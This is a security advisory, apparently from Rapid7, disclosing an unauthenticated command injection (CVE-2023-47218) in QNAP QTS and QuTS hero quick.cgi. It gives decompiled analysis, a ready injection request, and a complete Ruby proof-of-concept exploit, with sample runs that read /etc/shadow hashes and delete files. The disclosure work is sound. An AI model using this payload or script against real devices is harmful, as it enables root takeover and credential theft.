Last updated at Tue, 13 Feb 2024 16:00:00 GMT

Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system.

An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: http://www.qnap.com/en/security-advisory/qsa-23-57

Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.

Remediation

QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:

  • QTS 5.1.x - Fixed in QTS 5.1.5.2645 build 20240116 and later
  • QuTS hero h5.1.x - Fixed in QuTS hero h5.1.5.2647 build 20240118 and later

For more details please read the QNAP security advisory.

QNAP have provided the following remediation guidelines:

To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.

Analysis

During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:

user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive:  TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py  TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.tgz  TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/

When decompiling the /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called if an HTTP parameter named func has a value switch_os.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 Input; // rax
  __int64 input; // rbp
  _BOOL4 v5; // ebx
  __int64 func_param; // rax
  __int64 func_param_; // r12
  bool v8; // zf
  unsigned int v9; // ebp
  __int64 todo_param; // rbx

  sub_415C82(1LL, a2, a3);
  dword_630794 = sub_415F8B();
  dword_630790 = sub_415F41();
  dword_63079C = sub_415F1E();
  Input = CGI_Get_Input();
  input = Input;
  if ( Input )
  {
    func_param = CGI_Find_Parameter(Input, (char *)"func");
    func_param_ = func_param;
    if ( func_param )
    {
      v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
      v5 = !v8;
      if ( v8 )
      {
        v9 = rand();
        puts("301 Moved Permanently");
        printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
        return v5;
      }
      if ( !CGI_Find_Parameter(input, "todo") )
        goto LABEL_6;
      todo_param = CGI_Find_Parameter(input, "todo");
      if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
      {
        if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---

The switch_os function will call a function uploaf_firmware_image if an HTTP parameter named todo has a value of uploaf_firmware_image.

__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
  __int64 os_name_param; // rax
  __int64 v3; // rbx
  FILE *v4; // rax
  FILE *v5; // rbp
  const char *v6; // rax
  char *v7; // rbp
  __int64 v8; // rdx
  __int64 result; // rax
  __int64 v10; // rdx
  char os_name[32]; // [rsp+0h] [rbp-38h] BYREF

  memset(os_name, 0, sizeof(os_name));
  os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
  if ( os_name_param )
    strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
  if ( !strcmp(todo_param, "uploaf_firmware_image") )
  {
    v3 = uploaf_firmware_image(); // <--- 

In the function uploaf_firmware_image, we can see a helper function CGI_Upload is used to read a value from the CGI request into a local variable called file_name below.

__int64 uploaf_firmware_image()
{
  //...snip...
  if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             4LL,
             "error_message",
             "upload full_path_filename fail.");
  sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
  if ( chmod(file, 436u) < 0 )
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             5LL,
             "error_message",
             "upload full_path_filename fail.");
  if ( !fork() )
  {
    v2 = open("/dev/null", 2);
    if ( v2 != -1 )
    {
      close(0);
      dup2(v2, 0);
      close(1);
      dup2(v2, 1);
      close(2);
      dup2(v2, 2);
      close(v2);
    }
    sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
    system(buf266);
    sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
    if ( system(buf266) ) // <--- command injection.
    {
      Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
    }

We can see above that the value extracted by CGI_Upload will be used to construct an OS command, which is then passed to a call to system to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.

To understand how an attacker can achieve this, we must examine CGI_Upload from the \usr\lib\libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex to extract several fields from a POST request's multipart form data.

__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
  CGI_Get_Http_Info(&dest);
// ...snip...
        strtok(v36, ";");
        strtok(0LL, ";");
        v18 = strtok(0LL, "\n");
        if ( v18 )
          snprintf(v36, 0x1000uLL, "%s", v18);
        strtok(v36, "\"");
        v19 = strtok(0LL, "\"");
        if ( v19 )
          strncpy(a2, v19, n);
        if ( dest.useragent_type == 3 ) // <---
          trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---

The call to CGI_Get_Http_Info at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str will occur. The function trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image and achieve command injection.

To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info, as shown below.

char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
  // ...snip…
  v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
  v11 = v10;
  if ( !v10 )
  {
LABEL_29:
    dest->useragent_type = 0;
    goto LABEL_16;
  }
  if ( strstr(v10, "Safari") )
  {
    dest->useragent_type = 7;
    goto LABEL_16;
  }
  if ( !strstr(v11, "MSIE") )
  {
    if ( strstr(v11, "Mozilla") )
    {
      if ( strstr(v11, "Macintosh") )
        dest->useragent_type = 3; // <---
      else 
        dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
      goto LABEL_16;
    }
    goto LABEL_29;
  }

We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.

We can therefore exploit this vulnerability with an HTTP POST request that looks like this:

POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain

skfqduny
--avssqwfz–

Note the use of the URL encoded double quote %22 to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.

Proof-of-Concept Exploit

The following is a Ruby proof-of-concept exploit called qnap_hax.rb that can be used to successfully exploit a vulnerable target.

require 'optparse'
require 'base64'
require 'socket' 

def log(txt)
  $stdout.puts txt
end

def rand_string(len)
  (0...len).map {'a'.ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)
  s = TCPSocket.open(ip, port)
  
  s.write(data)
  
  result = ''
  
  while line = s.gets
    result << line
  end
  
  s.close

  return result
end

def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')

  payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"

  if read_output
    payload << ">#{output_file_name}"
  end

  payload << ")\""

  payload.gsub!("\"", '%22')
  payload.gsub!(";", '%3B')

  if payload.length > 127
    log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
    return false
  end
  
  boundary = rand_string(8)
  
  txt  = "--#{boundary}\r\n"
  txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
  txt << "Content-Type: text/plain\r\n"
  txt << "\r\n"
  txt << "#{rand_string(8)}\r\n"
  txt << "--#{boundary}--\r\n"

  body  = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla Macintosh\r\n"
  body << "Accept: */*\r\n"
  body << "Content-Length: #{txt.bytesize}\r\n"
  body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
  body << "\r\n"
  body << txt

  result = send_http_data(ip, port, body)
  
  if result&.match? /HTTP\/1\.\d 200 OK/
    log "[+] Success, executed command: #{cmd}"
  else
    log "[-] Failed to execute command: #{cmd}"
    log result
    
    return false
  end
  
  if read_output

    result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
    
    if result&.match? /HTTP\/1\.\d 200 OK/

      found_content = false
      
      result.lines.each do |line|
        if line == "\r\n"
          found_content = true
          next
        end
        
        log line if found_content 
      end    
    else
      log "[-] Failed to read back output."
      log result
      
      return false
    end
  end

  return true
end

def hax(options)

  log "[+] Targeting: #{options[:ip]}:#{options[:port]}"

  output_file_name = 'a'

  return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: hax1.rb [options]"

  opts.on("-t", "--target TARGET", "Target IP") do |v|
    options[:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    options[:port] = v.to_i
  end  
  
  opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
    options[:cmd] = v
  end
end.parse!

unless options.key? :ip
  log '[-] Error, you must pass a target IP: -t TARGET'
  return
end

unless options.key? :port
  log '[-] Error, you must pass a target port: -p PORT'
  return
end

unless options.key? :cmd
  log '[-] Error, you must pass a command to execute: -c COMMAND'
  return
end

log "[+] Starting..."

hax(options)

log "[+] Finished."

Exploitation

To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.

Emulate the Firmware

We performed the following steps to run the builtin web server _httpd_ via QEMU, and enable the vulnerable quick.cgi component.

user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080  -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT

Run the PoC

Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb against the remote target, and successfully executed arbitrary OS commands.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

Rapid7 Customers

An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.

Timeline

  • November 9, 2023: Rapid7 makes initial contact with QNAP Product Security Incident Response Team (PSIRT).
  • November 13, 2023: Rapid7 provides QNAP with a detailed technical advisory.
  • November 27, 2023: Rapid7 provides QNAP with a standalone proof of concept exploit.
  • December 5, 2023: QNAP confirms report findings and assigns CVE-2023-47218 to the vulnerability. Rapid7 suggests January 8, 2024 as a coordinated disclosure date.
  • December 7, 2023: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024 for disclosure.
  • December 7, 2023: Rapid7 agrees to February 7, 2024 as a coordinated disclosure date and requests that QNAP review our disclosure policy. Rapid7 also reinforces that coordinated disclosure means patches, advisories, and other vulnerability details are released at the same time, without silently patching security issues.
  • December 13, 2023: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024 for disclosure, acknowledges Rapid7’s disclosure policy.
  • December 18, 2023: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
  • January 8, 2024 - January 10, 2024: Rapid7 requests an update and additional information.
  • January 25, 2024 - January 26, 2024: Vendor contacts Rapid7 and informs us they have released patches for this vulnerability. Vendor requests that Rapid7 wait until February 26, 2024 to publish our disclosure. Rapid7 requests further information on why disclosure was not coordinated despite previous communications. QNAP and Rapid7 discuss and agree to publish advisories jointly on February 13, 2024.
  • February 13, 2024: This disclosure.